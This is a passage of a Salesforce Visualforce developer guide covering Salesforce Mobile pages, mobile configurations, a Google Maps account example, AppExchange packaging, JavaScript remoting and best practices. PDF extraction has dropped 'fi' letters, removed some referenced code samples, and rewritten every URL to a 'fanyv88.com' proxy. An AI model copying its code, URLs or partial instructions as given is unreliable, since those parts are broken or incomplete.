Finally, the browserName value is determined in an Apex controller in a manner similar to the preceding example:
// Apex code snippet ... public static String getBrowserName() { String userAgent = ApexPages.currentPage().getHeaders().get('User-Agent'); if (userAgent.contains('iPhone')) return 'iPhone-Safari'; if (userAgent.contains('Salesforce')) return 'Salesforce'; if (userAgent.contains('BlackBerry')) return 'BlackBerry'; return 'other'; } ...
Note: Commands in the JavaScript library for Salesforce Mobile can be used for both iPhone and BlackBerry devices.
177
mobileforce.device.getLocation() Obtains the GPS coordinates of the device's current location. Note: You can also trigger the sync and close commands using HTML links, which is a good alternative for BlackBerry smartphones that have limited JavaScript support. To use HTML to trigger the commands, include the following string as the value of the href attribute inside an <a> tag: To force the client to synchronize data, use mobileforce:///sync. To force the embedded browser to close, use mobileforce:///close. To force the embedded browser to close and the client to synchronize data, use mobileforce:///sync/close.
In your Visualforce pages, use the following static resource to point to the JavaScript library:
<script type="application/x-javascript" src="/mobileclient/api/mobileforce.js"></script>
External websites must include the instance name in the src parameter:
<script type="application/x-javascript" src="http://na1.salesforce.com/mobileclient/api/mobileforce.js"></script>
The following code is an example of a Visualforce page that uses all of the commands available in the JavaScript library:
<apex:page showheader="false"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Visualforce Mobile Trigger Test</title> <meta name="viewport" content="width=device-width; initial-scale=1.0; maximum-scale=1.0; user-scalable=0;" /> <!-- Using static resource --> <script type="application/x-javascript" src="/mobileclient/api/mobileforce.js"></script> <script> function sync() { mobileforce.device.sync(); return false; } function doClose() { mobileforce.device.close(); return false; } function syncClose() { mobileforce.device.syncClose(); return false; } updateLocation = function(lat,lon) { document.getElementById('lat').value = lat; document.getElementById('lon').value = lon; } function getLocation() { mobileforce.device.getLocation(updateLocation); return false; } </script>
178
</head> <body> <h2>Triggers:</h2> <p> <a href="#" onclick="return sync();">JS sync</a><br/> <a href="#" onclick="return doClose();">JS close</a><br/> <a href="#" onclick="return syncClose();">JS sync and close</a><br/> <a href="mobileforce:///sync">HTML sync</a><br/> <a href="mobileforce:///close">HTML close</a><br/> <a href="mobileforce:///sync/close">HTML sync and close</a><br/> </p> <h2>Location:</h2> <p>Latitude: <input type="text" disabled="disabled" id="lat" name="lat" value=""/></p> <p>Logitude: <input type="text" disabled="disabled" id="lon" name="lon" value=""/></p> <a href="#" onclick="return getLocation();">Get location</a><br/> </body> </html> </apex:page>
179
9. Enter a description of the tab, if desired, and click Next. 10. Choose the user proles for which the new custom tab will be available: Select Apply one tab visibility to all proles and choose Default On, Default Off, or Tab Hidden from the drop-down list. Alternatively, select Apply a different tab visibility for each prole and choose Default On, Default Off, or Tab Hidden from the drop-down list for each prole.
11. Consider removing the new tab from all available apps so that the tab is not exposed to Salesforce desktop users. Because Visualforce Mobile pages are usually stripped of many standard Salesforce elements, it is unlikely that you want users to access the page from a desktop browser. Deselect the checkboxes next to all of the available apps. Deselect the Append tab to users' existing personal customizations checkbox.
For detailed information about mobile congurations, refer to the Salesforce Mobile Implementation Guide. If you have already created a mobile conguration in your organization, you can skip to the tab customization step. Create the Mobile Configuration Before creating the mobile conguration, verify that your user account has been assigned a mobile license. To nd out, simply edit your user record. If the Mobile User checkbox is already selected, you don't need to do anything else. If the Mobile User checkbox is not selected, select it, then edit your prole and enable the Manage Mobile Congurations permission. Note: In Developer and Unlimited Edition organizations, every Salesforce user has an assigned mobile license by default. To create the mobile conguration: 1. Click Your Name Setup Mobile Administration Mobile Congurations to access the mobile congurations list page. 2. Click New Mobile Conguration. 3. Enter a name for the mobile conguration. 4. Select the Active checkbox. The mobile conguration does not work until you select this checkbox. 5. Optionally, enter a description for the mobile conguration. 6. Optionally, select the Mobilize Recent Items checkbox to mark recently used records in Salesforce for device synchronization.
180
7. If you select the Mobilize Recent Items checkbox, select a value from the Maximum Number of Recent Items drop-down list. 8. Select your username in the Available Members box, and click the Add arrow to add your user account to the mobile conguration. You can add entire proles or individual users to a mobile conguration. 9. To set the total data size limit, use the Don't sync if data size exceeds drop-down list to specify the amount of memory that is consistently available on the mobile devices of users who are assigned to this mobile conguration. If you're just testing your Visualforce Mobile pages, the default setting is an appropriate size. 10. Click Save. Define Data Sets The next step in setting up your mobile conguration is determining which objects and records automatically synchronize to the mobile device. If you're just testing your Visualforce Mobile pages, it's not necessary to dene data sets. However, if you create links to Visualforce Mobile pages from an object's record detail page, you should mobilize that object so you can test the integration between the native records and the Visualforce Mobile pages. To nd out how to create links from records to Visualforce Mobile pages, refer to the topic titled Creating Mobile Links in the Salesforce Mobile Implementation Guide. To add data sets: 1. 2. 3. 4. 5. Open the detail page for your mobile conguration. In the Data Sets related list, click Edit. In the hierarchy, select Data Sets to create a parent data set, or select an existing data set to create a child data set. Click Add.... In the popup window, select the object you want to mobilize. When adding to an existing data set, the popup window displays any object with a relationship to the selected object. This includes child objects, and also parent objects with a master-detail or lookup relationship to the selected object. 6. Click OK. The data set you created appears in the hierarchy. 7. Optionally, use lters to restrict the records that a parent or child data set includes. You can mobilize an object without pushing any data to the device for that object. Selecting the Search Only option will make the object available to users but require them to search for records they want to synchronize to their mobile device. 8. Click Done when you are nished adding data sets. Tip: The utility at the bottom of the Data Sets page lets you test your data set lters against individual user accounts. This is useful if you have complex lters and want to model how the lters will affect users. It's important to make sure the data sets are lean enough not to exceed the size limit you set when creating the mobile conguration. Edit Mobile Object Properties You can optionally change the properties of standard and custom objects in the mobile application by restricting the permissions of mobile users or excluding unnecessary elds from an object's mobile page layout. Salesforce Mobile inherits permissions and page layouts from Salesforce; however, there are occasions where you might want to further restrict what mobile users can do in the mobile application or which elds they see. To edit mobile object properties: 1. Open the detail page for your mobile conguration. 2. In the Mobile Object Properties related list, click Edit next to an object name. Only objects you mobilized in the conguration's data set appear in the related list. 3. In the Permissions section, select which permissions to remove from mobile users for this object. Use the Deny Create, Deny Edit, or Deny Delete checkboxes to prevent users from creating, editing, or deleting records in the mobile application.
181
4. In the Excluded Fields section, select which elds to display on the mobile device for this object. To add or remove elds, select a eld name, and click the Add or Remove arrow. Unnecessary elds consume memory and make it harder for users to scroll through pages on the mobile device, so it's a good idea to exclude elds from an object's mobile page layout when possible. 5. Click Save. Customize Mobile Tabs The nal step in setting up your mobile conguration is mobilizing the Visualforce pages you want to test in the mobile application. To customize your tabs: 1. Open the detail page for your mobile conguration. 2. In the Mobile Tabs related list, click Customize Tabs to dene mobile tabs for the rst time. If you have already set up the mobile tabs, click Edit. 3. In the Available Tabs list, select the Visualforce tabs you want to mobilize and click the Add arrow to add them to the mobile conguration. If your Visualforce tab does not appear in the Available Tabs list, edit the tab and mark it as mobile-ready. If you mobilized standard or custom objects, don't forget to select those objects when customizing your tabs. Also, you must select the Dashboards tab in order for it to appear in the mobile application. 4. In the Selected Tabs list, choose tabs and click the Up and Down arrows to arrange the tabs in the order they should appear in the mobile application. Note: iPhone users can customize the order of their tabs in the mobile client application. If the user customizes their tab order, any administrator changes to the tab order in the mobile conguration are ignored by the client application, and any newly mobilized tabs are added below the user's existing tabs. 5. Click Save.
182
Test Different User Accounts Developers often have several active user accounts in their Salesforce organization. If you already activated a user account in Salesforce Mobile, you have to deactivate it before you can register a different user account. If you're using a mobile device to test your Visualforce Mobile pages instead of a simulator, you can deactivate your account from the mobile application. To nd out how to deactivate your Salesforce account from an iPhone, refer to the topic titled Erase Data in the Salesforce Mobile User Guide for iPhone. To nd out how to deactivate your account from a BlackBerry smartphone, refer to the topic titled Removing Salesforce Data from Your Device in the Salesforce Mobile User Guide for BlackBerry. If you're using a simulator to test your Visualforce Mobile pages, you have to deactivate your account in Salesforce. To nd out how to deactivate your account in Salesforce, refer to the topic titled Deleting Mobile Devices in the Salesforce Mobile Implementation Guide. Test Sandbox Accounts By default, the mobile client application connects to the transport for your production organization; however, you might want to test in your sandbox organization. To nd out how to activate a sandbox account, refer to the topic titled Activating a Sandbox Account in Salesforce Mobile in the Salesforce Mobile Implementation Guide.
Keeping the addresses near one another will make it easier to see all of the accounts on the map while you're testing your examples. UI Library: Download iUI, a third-party library that lets Web applications easily mimic the standard iPhone UI. Google Maps API: Sign up for the Google Maps API to obtain a Maps API key. iPhone Simulator: Download the iPhone simulator so you can test your Visualforce pages in the mobile application. Mobile Conguration: After completing the examples, remember to create a mobile conguration that mobilizes your Visualforce tab and the account object.
The Visualforce Mobile examples for this chapter include: Creating the Custom Controller Building the Map and List View Building the Detail Page
183
string array of delimited accounts for use in the mapping JavaScript routine on the Visualforce page. It also denes a getter method for the Maps API key, which is required in order to use Google Maps in our page. The following Apex class is the controller for the Visualforce page that maps the user's hot accounts:
public class mapController { public String addrStr; public User usr; public String myKey; public Account[] getMyAccts() { String usrId = UserInfo.getUserId(); Account[] accts = [Select Id, Name, Rating, CustomerPriority__c, OwnerId, BillingStreet, BillingCity, BillingState, BillingPostalCode From Account where Rating = 'Hot' And OwnerId =: usrId ]; for(Account acct : accts) { addrStr = addrStr + acct.Name + ' : ' + acct.CustomerPriority__c + ':' + acct.Id + '~:~'+ acct.BillingStreet + '~:~' + acct.BillingCity + '~:~' + acct.BillingState + '~:~' + acct.BillingPostalCode + '~::~'; } return accts; } public String getmyKey() { // Set up google maps api key myKey = 'http://maps.google.com/maps?file=api&v=2&'; // In the following line, enter your google maps key // to get an api key, visit the Google Maps API site // http://code.google.com/apis/maps/signup.html myKey = myKey + 'key=<insert_google_maps_api_key_here>'; return myKey; } public String getAddrArStr(){ addrStr = ''; Account[] theRecs = getMyAccts(); return addrStr; } }
See Also:
Building a Custom Controller
184
Get the addresses to map from the {!AddrArStr} string array Unpack the address array by keying off the delimiters dened in the controller Call doAddLocationToMap for all account addresses and the current user Use Account.CustomerPriority__c as the key to determine which marker color to usegreen, yellow, or red Retrieve the custom image markers stored in the $Resource.markers static resource
It's good practice to place any JavaScript code within a static resource, in case it needs to be referenced in multiple locations. Create a static resource named MobileListView:
function addLoadEvent(func) { var oldonload = window.onload; if (typeof window.onload != 'function') { window.onload = func; } else { window.onload = function() { oldonload(); func(); } } } addLoadEvent( function() { if (GBrowserIsCompatible()) { var my_geocoder = new GClientGeocoder(); var map = new GMap2(document.getElementById("map")); var TC = new GMapTypeControl(); var bottomRight = new GControlPosition(G_ANCHOR_BOTTOM_RIGHT, new GSize(10,10)); var mCount =0; map.addControl(new GSmallMapControl()); // Small arrows map.addControl(TC, bottomRight); // Map type buttons function LTrim( value ) { var re = /\s*((\S+\s*)*)/; return value.replace(re, "$1"); } function RTrim( value ) { var re = /((\s*\S+)*)\s*/; return value.replace(re, "$1"); } // Remove leading and ending whitespaces function trim( value ) { return LTrim(RTrim(value)); } function doAddLocationToMap(SiteName, Street, City, State, Zip, typ) { var addr = Street + ", " + City + ", " + State + " " + Zip; my_geocoder.getLatLng (addr, function(point) { if (point) { var mTag = ''; var myIcon = new GIcon(G_DEFAULT_ICON); if(typ == 'self') { mTag = "<b>" + SiteName + "</b>" + "<br>" + City ; myIcon.image = "http://maps.google.com/mapfiles/arrow.png"; myIcon.iconSize=new GSize(32,32); } else { if(typ == 'acct') { mCount ++; var priAr = SiteName.split(":");
185
compName = priAr[0]; // company name pri = trim(priAr[1]); // priority acctId = priAr[2]; //account id index = ""; imgName = "marker"; // default marker image color = "";
mTag = "<b>" + compName + "</b>" + "<br>" + "Priority: " + pri + "<br>" + City ; // Set up marker colors based on priority if (pri == 'Medium') color="Yellow"; else if (pri == 'High') color="Red"; else if (pri == 'Low') color="Green"; if(mCount>10){ // use default marker myIcon.image = "http://maps.google.com/mapfiles/marker.png"; } else { // use custom marker 1-10 index = String(mCount); imgName = imgName + color + index + ".png"; myIcon.image = "{!URLFOR($Resource.markers, 'markers/" + imgName + "')}"; } document.getElementById(acctId).src = myIcon.image; myIcon.iconSize=new GSize(20,34); } } myIcon.shadowSize=new GSize(56,32); myIcon.iconAnchor=new GPoint(16,32); myIcon.infoWindowAnchor=new GPoint(16,0); markerOptions2 = { icon:myIcon }; var marker = new GMarker(point, markerOptions2); map.setCenter(point, 8); map.addOverlay(marker); // Set up listener action to show info on click event GEvent.addListener(marker, "click", function() { marker.openInfoWindowHtml(mTag); }) ; } } ); } //Get accts and draw address var arAllStr = ''; arAllStr = '{!AddrArStr}'; // Get all address recs var arLi = arAllStr.split("~::~"); // Split on line break delim for (var i = 0; i < arLi.length-1; i++) { var arLiStr =arLi[i]; var arCols =arLiStr.split("~:~"); //Split to get columns if(arCols[1].length >0) doAddLocationToMap(arCols[0],arCols[1],arCols[2], arCols[3],arCols[4],'acct'); } //Get user address and draw doAddLocationToMap('{!$User.FirstName} {!$User.LastName}' +' (Me)','{!$User.Street}','{!$User.City}',' {!$User.State}','{!$User.PostalCode}','self'); } } );
186
The following code denes the landing page of our mapping application:
<apex:page controller="mapController" showHeader="false"> <apex:composition template="iuivf" /> <script src="{!myKey}" type="text/javascript"> </script> <apex:includeScript value="{!$Resource.MobileListView}"/> <ul title="Accounts" selected="true" id="home" > <!-- Draw user name at top of panel --> <li class="group"> User: {!$User.FirstName} {!$User.LastName} </li> <!-- Create panel for Google Maps object --> <div class="panel" style="padding: 10px;" > <div id="map" style="width: 300px; height: 300px;"> </div> </div> <!-- Create group sub-panel to display list --> <li class="group">Accounts</li> <!-- Draw accounts, one per row --> <apex:repeat value="{!MyAccts}" var="p" > <li> <a href="accountDetail?id={!p.Id}" > <img id="{!p.Id}" src="http://maps.google.com/mapfiles/marker.png"/> {!p.Name} </a> </li> </apex:repeat> </ul> </apex:page>
The markup in our page uses the <apex:composition> component to reference a template. The template leverages the iUI framework, which lets us apply iPhone-like styling to our page. The iUI framework is included from the $Resource.IUI static resource. By dening a template, we can easily apply the same styling to all of the Visualforce pages we create for the iPhone platform. The following markup denes the iuivf page used as the template:
<!-* Page definition: iuivf * Visualforce template for iUI includes needed for * using the iui framework <http://code.google.com/p/iui/> * in any Visualforce page. --> <apex:page> <meta name="viewport" content="width=320; initial-scale=1.0; maximum-scale=1.0; user scalable=0;"/> <apex:includeScript value="{!URLFOR($Resource.IUI, 'iui-0.13/iui/iui.js')}" /> <apex:styleSheet value="{!URLFOR($Resource.IUI, 'iui-0.13/iui/iui.css')}" /> <style> #home { position: relative; top: 0px; } </style> </apex:page>
Note the following about the template: The markup overrides the #home style from the iUI library. This ensures that our application will render in Salesforce Mobile without any noticeable gap at the top of the page.
187
The markup avoids the use of the class="Toolbar" element. The embedded browser in Salesforce Mobile has a navigation toolbar at the top of the page, so a second toolbar would likely confuse users. If you want to use the button styles provided in the iUI framework, don't use the Toolbar class to render the buttons.
See Also:
Using JavaScript in Visualforce Pages apex:composition Using Static Resources
Next, we'll create a Visualforce page that displays the phone number and rating of the account the user selected from the list view. We'll use the <fieldset> and <row> classes from the iUI framework to apply iPhone-like styling to the page. The following code denes the account detail page of our mapping application:
<apex:page showHeader="false" controller="customAccountController" title="My Account" > <apex:composition template="iuivf" /> <div class="panel" id="acctDetail" selected="true" style="padding: 10px; margin-top:-44px" title="Account Information" > <h2>{!Account.Name}</h2> <fieldset style="margin: 0 0 20px 0;"> <div class="row"> <label>Phone:</label> <input type="text" value="{!Account.Phone}" /> </div> <div class="row"> <label>Rating:</label> <input type="text" value="{!Account.Rating}" /> </div> </fieldset>
188
</div> </apex:page>
189
Chapter 17
Adding Visualforce to a Force.com AppExchange App
You can include Visualforce pages, components, or custom controllers in an app that you are creating for AppExchange. Unlike Apex classes, the content of a Visualforce page in a managed package is not hidden when the package is installed. However, custom controllers, controller extensions, and custom components are hidden. In addition, custom components can be restricted with the access attribute to run only in your namespace. Salesforce.com recommends that you only use managed packages to distribute any Visualforce or Apex components. This recommendation is because managed packages receive a unique namespace that is automatically prepended to the names of your pages, components, classes, methods, variables, and so on. This namespace prex helps prevent duplicate names in the installer's organization. The following caveats should be taken into consideration when creating a package using a Visualforce page: If the access attribute on a component that is included in a managed package is set to global, be aware of the following restrictions: The access attribute on the component cannot be changed to public. All required child <apex:attribute> components (those that have the required attribute set to true) must have the access attribute set to global. If the default attribute is set on a required child <apex:attribute>, it cannot be removed or changed. You cannot add new required child <apex:attribute> components. If the access attribute on a child <apex:attribute> component is set to global, it cannot be changed to public. If the access attribute on a child <apex:attribute> component is set to global, the type attribute cannot be changed.
When a package with a non-global component is installed, users that view the component in Setup see Component is not global instead of the content of the component. In addition, the component is not included in the component reference. If advanced currency management is enabled for an organization that is installing a package, Visualforce pages that use <apex:inputField> and <apex:outputField> cannot be installed. Any Apex that is included as part of Force.com AppExchange app must have at least 75% cumulative test coverage. When you upload your package to AppExchange, all tests are run to ensure that they run without errors. The tests are also run when the package is installed. Beginning with version 16.0, if you have a managed global Apex class used as a Visualforce controller, it is also required that the access level be set to global for the following methods and properties for subscribers to use them: Constructors for custom controllers Getter and setter methods, including those for input and output components Get and set attributes on properties Tip: If an Apex class or Visualforce page references a custom label, and that label has translations, you must explicitly package the individual languages desired in order for those translations to be included in the package.
190
When a package containing Visualforce pages is installed into an organization, the pages are served from the visual.force.com domain instead of the salesforce.com domain. This is to prevent malicious code in a package from affecting your data.
To congure the package version settings for a custom component: 1. Edit a custom component and click Version Settings. 2. Select a Version for each managed package referenced by the custom component. This version of the managed package will continue to be used by the custom component if later versions of the managed package are installed, unless you manually update the version setting. To add an installed managed package to the settings list, select a package from the list of available packages. The list is only displayed if you have an installed managed package that is not already associated with the page or component. 3. Click Save. Note the following when working with package version settings: If you save a custom component that references a managed package without specifying a version of the managed package, the custom component is associated with the latest installed version of the managed package by default.
191
You cannot Remove a custom component's version setting for a managed package if the package is referenced by the custom component. Use Show Dependencies to nd where the managed package is referenced.
See Also:
How is Visualforce Versioned? Managing Version Settings for Custom Components
192
Chapter 18
Using JavaScript in Visualforce Pages
Using JavaScript in Visualforce pages gives you access to a wide range of existing JavaScript functionality, such as JavaScript libraries, and other ways to customize the functionality of your pages. Action tags, such as <apex:actionFunction> and <apex:actionSupport>, support Ajax requests. Caution: By including JavaScript in a page, you are introducing the possibility of cross-browser and maintenance issues that you do not have when using Visualforce. Before writing any JavaScript, you should be sure that there is not an existing Visualforce component that can solve your problem. The best method for including JavaScript in a Visualforce page is placing the JavaScript in a static resource, then calling it from there. For example,
<apex:includeScript value="{!$Resource.MyJavascriptFile}"/>
You can then use the functions dened within that JavaScript le within your page using <script> tags. Tip: When using JavaScript within a expression, you need to escape quotes using a backslash (\). For example,
onclick="{!IF(false, 'javascript_call(\"js_string_parameter\")', 'else case')}"
193
See Also:
Best Practices for Accessing Component IDs
You can then use it in a page by adding a <script> to call functions from the library.
<apex:page> <apex:includeScript value="{!$Resource.mootools}"/> <script> function changeFont(input, textid) { if(input.checked) $(textid).style.fontWeight = 'bold'; else $(textid).style.fontWeight = "normal"; } </script> <h1>Congratulations</h1>
194
<apex:outputPanel layout="block"> <label for="checkbox">Click this box to change text font:</label> <input id="checkbox" type="checkbox" onclick="changeFont(this,'{!$Component.thePanel}');"/> </apex:outputPanel> <!-- This outputPanel contains the text that will be changed when the checkbox is selected. --> <apex:outputPanel id="thePanel" layout="block">Change me! </apex:outputPanel> </apex:page>
If you are using a JavaScript library in a Visualforce page, and that library denes $ as a special character, you'll need to modify your JavaScript to override this usage. For example, if you are using jQuery, you can override the denition of $ by using the jQuery.noConflict() function.
<apex:page > <apex:includeScript value="{!$Resource.jquery}"/> <html> <head> <script> jQuery.noConflict(); jQuery(document).ready(function() { jQuery("a").click(function() { alert("Hello world, part 2!"); }); }); </script> </apex:page>
Note: Ext JS versions less than 3 should not be included on pages that use Chatter components, <apex:enhancedList>, <knowledge:articleCaseToolbar>, or <knowledge:articleRendererToolbar>.
where
namespace is your organization's namespace. This is only required if the class comes from an installed packaged. controller is the name of your Apex controller method is the name of the Apex method you're calling
195
params is the commaseparated list of parameters that your method takes callbackFunction is the name of the function that handles the response from the controller. It returns the status of
the call and the method result. escape denes whether your response should be escaped (by default, true) or not (false)
In your controller, your Apex method declaration is preceded with the @RemoteAction annotation like this:
@RemoteAction global static String getItemId(String objectName) { ... }
Your Apex method must be both global and static. Overloading is not permitted; in other words, your remoted method can't have the same number of parameters as other methods with the same name. For instance, with the method above, you can't also have a getItemId(Integer objectNumber) method. Your method can only take Apex primitives as arguments. However, it can return Apex primitives and sObjects. Any Apex primitive data types returned by resultsuch as strings or numbersare converted to their Javascript equivalents. Apex objects that are returned are converted to Javascript objects, while collections are converted to a Javascript array. Keep in mind that in Javascript, case-sensitivity matters, so id, Id, and ID are considered different elds. Note: Exceptions caused by Javascript remoting are logged to the Firebug console.
Note that the <apex:actionFunction> component also lets you call controller action methods through Javascript. Here are some differences between the two: Javascript remoting: lets you pass parameters provides a callback
you provide arbitrary callbacks, as well as pass parameters The <apex:actionFunction> tag: lets you specify rerender targets submits the form
Example
Here's a basic sample demonstrating how you can use Javascript remoting in your Visualforce pages. First, create an Apex controller called MyJSController:
public global with sharing class MyJSController { public String accountName { get; set; } public static Account account { get; set; } public MyJSController() { } @RemoteAction global static Account getAccount(String accountName) { account = [select id, name, phone, type, numberofemployees from Account where name = :accountName ]; return account; } }
Other than the @RemoteAction annotation, you'll notice that this is just a regular controller denition.
196
Notice the following about this markup: The event.status variable is true only if the call was successful. It's highly recommended to provide alternative logic if your method call doesn't succeed. The result variable represents the object returned from the Apex getAccount method. Visualforce prepends DOM ids on components in order to assure ids are unique. As discussed earlier in this chapter, a technique for retrieving your component's id is to retrieve it with the $Component global variable.
197
Chapter 19
Best Practices
The following best practices can be used in your Visualforce pages: Best Practices for Improving Visualforce Performance Best Practices for Accessing Component IDs Best Practices for Static Resources Best Practices for Controllers and Controller Extensions Best Practices for Using Component Facets Best Practices for Page Block Components Best Practices for Rendering PDFs Best Practices for <apex:panelbar>
The following is a list of commonly encountered Visualforce performance issues and their possible solutions: View State Size The view state size of your Visualforce pages must be under 135KB. By reducing your view state size, your pages can load quicker and stall less often. You can monitor view state performance through the View State tab in the development mode footer and take the following actions:
198
Best Practices
Use only one <apex:form> tag on a page. You can also use the <apex:actionRegion> tag to submit form data from specic sections of the Visualforce page. Use the transient keyword in yourApex controllers for variables that aren't essential for maintaining state and aren't necessary during page refreshes. If you notice that a large percentage of your view state comes from objects used in controllers or controller extensions, consider rening your SOQL calls to return only data that's relevant to the Visualforce page. If your view state is affected by a large component tree, try reducing the number of components your page depends on.
Load Times In order for your Visualforce page to be accessible, your page size must be under 15 MB. A larger page size directly affects load times. To improve Visualforce page load times: Cache any data that is frequently accessed, such as icon graphics Avoid SOQL queries in your Apex controller getter methods Reduce the number of records displayed on a page by: Limiting the data coming back from SOQL calls in your Apex controllers. For example, using AND statements in your WHERE clause, or removing null results Taking advantage of pagination with a list controller to present fewer records per page
Lazy load Apex objects to reduce request times Consider moving any JavaScript outside of the <apex:includeScript> tag and placing it into a <script> tag right before your closing <apex:page> tag. The <apex:includeScript> tag places JavaScript right before the closing <head> element; thus, Visualforce attempts to load the JavaScript before any other content on the page. However, you should only move JavaScript to the bottom of the page if you're certain it doesn't have any adverse effects to your page. For example, JavaScript code snippets requiring document.write or event handlers should remain in the <head> element.
Multiple Concurrent Requests Concurrent requests are long running tasks that could block other pending tasks. To reduce these delays: Increase the time interval for calling Apex from your Visualforce page. For example, when using the <apex:actionPoller> component, you could adjust the interval attribute to 15 seconds instead of ve. Move any non-essential logic to an asynchronous code block using Ajax
Queries and Security By using the with sharing keyword when creating your Apex controllers, you have the possibility of improving your SOQL queries by only viewing a data set for a single user on page 202.
199
Best Practices
You don't need to specify an ID for a component you want to access if it is an ancestor or sibling to the $Component variable in the Visualforce component hierarchy. The system dynamically assigns IDs to the outer components and automatically determines the hierarchy for you. For example, suppose you want to access a data table component that is contained in an <apex:pageBlock> tag. You only need to specify the ID for the <apex:dataTable> tag. This way, if the page hierarchy ever changes (for example, if an <apex:detail> tag is wrapped around the table), you do not have to change your code. The following example illustrates the various uses of $Component:
<apex:page> <apex:form id="theForm"> <apex:pageBlock id="thePageBlock"> <apex:pageBlockSection id="theSection"> <apex:pageBlockSectionItem id="theSectionItem">All the alerts refer to this component</apex:pageBlockSectionItem> <!-- Works because this outputPanel has a direct parent with a "theSectionItem" child --> <apex:outputPanel onclick="alert(' {!$Component.theSectionItem}');"> First click here </apex:outputPanel> </apex:pageBlockSection> <apex:pageBlockButtons id="theButtons" location="bottom"> <!-- Works because this outputPanel has a grandparent ("theSection") with a "theSectionItem" child --> <apex:outputPanel onclick="alert(' {!$Component.theSection.theSectionItem}');"> Second click here<br /> </apex:outputPanel> <!-- Works because this outputPanel has a distant parent with a "theForm" child. --> <apex:outputPanel onclick="alert(' {!$Component.theForm.thePageBlock.theSection.theSectionItem}');"> Third click here<br /> </apex:outputPanel> </apex:pageBlockButtons> </apex:pageBlock> <!-- $Component will reference the common parent of this usage and the target, which is "theForm" --> <apex:outputPanel onclick="alert(' {!$Component.thePageBlock.theSection.theSectionItem}');"> Fourth click here</apex:outputPanel> </apex:form> </apex:page>
200
Best Practices
For example, the following page contains a data table with an ID set to theTable.
<apex:page standardController="Account" recordSetVar="accounts" id="thePage"> <apex:dataTable value="{!accounts}" var="account" id="theTable"> <apex:column id="firstColumn"> <apex:outputText value="{!account.name}"/> </apex:column> <apex:column id="secondColumn"> <apex:outputText value="{!account.owner.name}"/> </apex:column> </apex:dataTable> </apex:page>
When the page is rendered, the <apex:dataTable> component results in the following HTML:
<table id="thePage:theTable" border="0" cellpadding="0" cellspacing="0"> <colgroup span="2"/> <tbody> <tr class=""> <td id="thePage:theTable:0:firstColumn"> <span id="thePage:theTable:0:accountName">Burlington Textiles Corp of America</span> </td> <td id="thePage:theTable:0:secondColumn"> <span id="thePage:theTable:0:accountOwner">Vforce Developer</span> </td> </tr> <tr class=""> <td id="thePage:theTable:1:firstColumn"> <span id="thePage:theTable:1:accountName">Dickenson</span> </td> <td id="thePage:theTable:1:secondColumn"> <span id="thePage:theTable:1:accountOwner">Vforce Developer</span> </td> </tr> </table>
Each table cell has a unique ID based on the ID value of the containing components. The rst table cell in the rst row has the ID thePage:theTable:0:firstColumn, the second cell in the rst row has the ID thePage:theTable:0:secondColumn, the rst cell in the second row has the ID thePage:theTable:1:firstColumn, and so on. To refer to all entries in a column, you have to iterate across the table rows, referring to each <td> element that has an ID following the format of the column. The same type of ID generation is done for elements within the table cells. For example, the account name in the rst row is generated as a span with the ID thePage:theTable:0:accountName. Notice that ID does not include the value of the ID for the column it is in.
201
Best Practices
Notice that the static resource reference is wrapped in a URLFOR function. Without that, the page does not redirect properly. This redirect is not limited to PDF les. You can also redirect a page to the content of any static resource. For example, you can create a static resource that includes an entire help system composed of many HTML les mixed with JavaScript, images, and other multimedia les. As long as there is a single entry point, the redirect works. For example: 1. Create a zip le that includes your help content. 2. Upload the zip le as a static resource named customhelpsystem. 3. Create the following page:
<apex:page sidebar="false" showHeader="false" standardStylesheets="false" action="{!URLFOR($Resource.customhelpsystem, 'index.htm')}"> </apex:page>
When a user visits the page, the index.htm le in the static resource displays.
See Also:
Using Static Resources
202
Best Practices
//... </apex:component> public class CustCmpCtrl { // Constructor method public CustCmpCtrl() { if (selectedValue != null) { EditMode = true; } } private Boolean EditMode = false; // Setter method public String selectedValue { get;set; } }
Since the constructor is called before the setter, selectedValue will always be null when the constructor is called. Thus, EditMode will never be set to true. Methods may evaluate more than once do not use side-effects Methods, including methods in a controller, action attributes, and expressions, may be called more than once. Do not depend on evaluation order or side-effects when creating custom methods in a controller or controller extension.
203
Best Practices
Note: For this page to display account data, the ID of a valid account record must be specied as a query parameter in the URL for the page. For example:
https://Salesforce_instance/apex/facet?id=001D000000IRosz
204
Best Practices
See Also:
Using Static Resources
<!-- Page: --> <apex:page standardController="Account"> <apex:form > <apex:pageBlock title="My Content" mode="edit"> <apex:pageBlockSection title="My Content Section" columns="2"> <apex:pageBlockSectionItem > <apex:outputPanel> <apex:outputText>*</apex:outputText> <apex:outputLabel value="Account Name" for="account__name"/> </apex:outputPanel> <apex:inputText value="{!account.name}" id="account__name"/> </apex:pageBlockSectionItem> </apex:pageBlockSection> </apex:pageBlock> </apex:form> </apex:page>
205
Best Practices
To check if your Visualforce page falls into one of these categories, you can right-click anywhere on the page and view the HTML source. If you see a <script> tag that refers to JavaScript (.js) or a <link> tag that refers to a stylesheet (.css), you should test that the generated PDF displays as expected.
206
Best Practices
<apex:inputField> <apex:inputFile> <apex:inputHidden> <apex:inputSecret> <apex:inputText> <apex:inputTextarea> <apex:listViews> <apex:message> <apex:messages> <apex:outputField> <apex:pageBlock> <apex:pageBlockButtons> <apex:pageBlockSection> <apex:pageBlockSectionItem> <apex:pageBlockTable> <apex:pageMessage> <apex:pageMessages> <apex:panelBar> <apex:panelBarItem> <apex:relatedList> <apex:scontrol> <apex:sectionHeader> <apex:selectCheckboxes> <apex:selectList> <apex:selectOption> <apex:selectOptions> <apex:selectRadio> <apex:tab> <apex:tabPanel> <apex:toolbar> <apex:toolbarGroup>
207
Best Practices
208
Chapter 20
Standard Component Reference
A full list of the standard Visualforce components can be accessed through the table of contents or in the index of this guide.
apex:actionFunction
A component that provides support for invoking controller action methods directly from JavaScript code using an AJAX request. An <apex:actionFunction> component must be a child of an <apex:form> component. Unlike <apex:actionSupport>, which only provides support for invoking controller action methods from other Visualforce components, <apex:actionFunction> denes a new JavaScript function which can then be called from within a block of JavaScript code. Note that this component should not be relied on for exclusively calling controller methods through Javascript. Instead, use Javascript remoting for Apex controllers.
Example
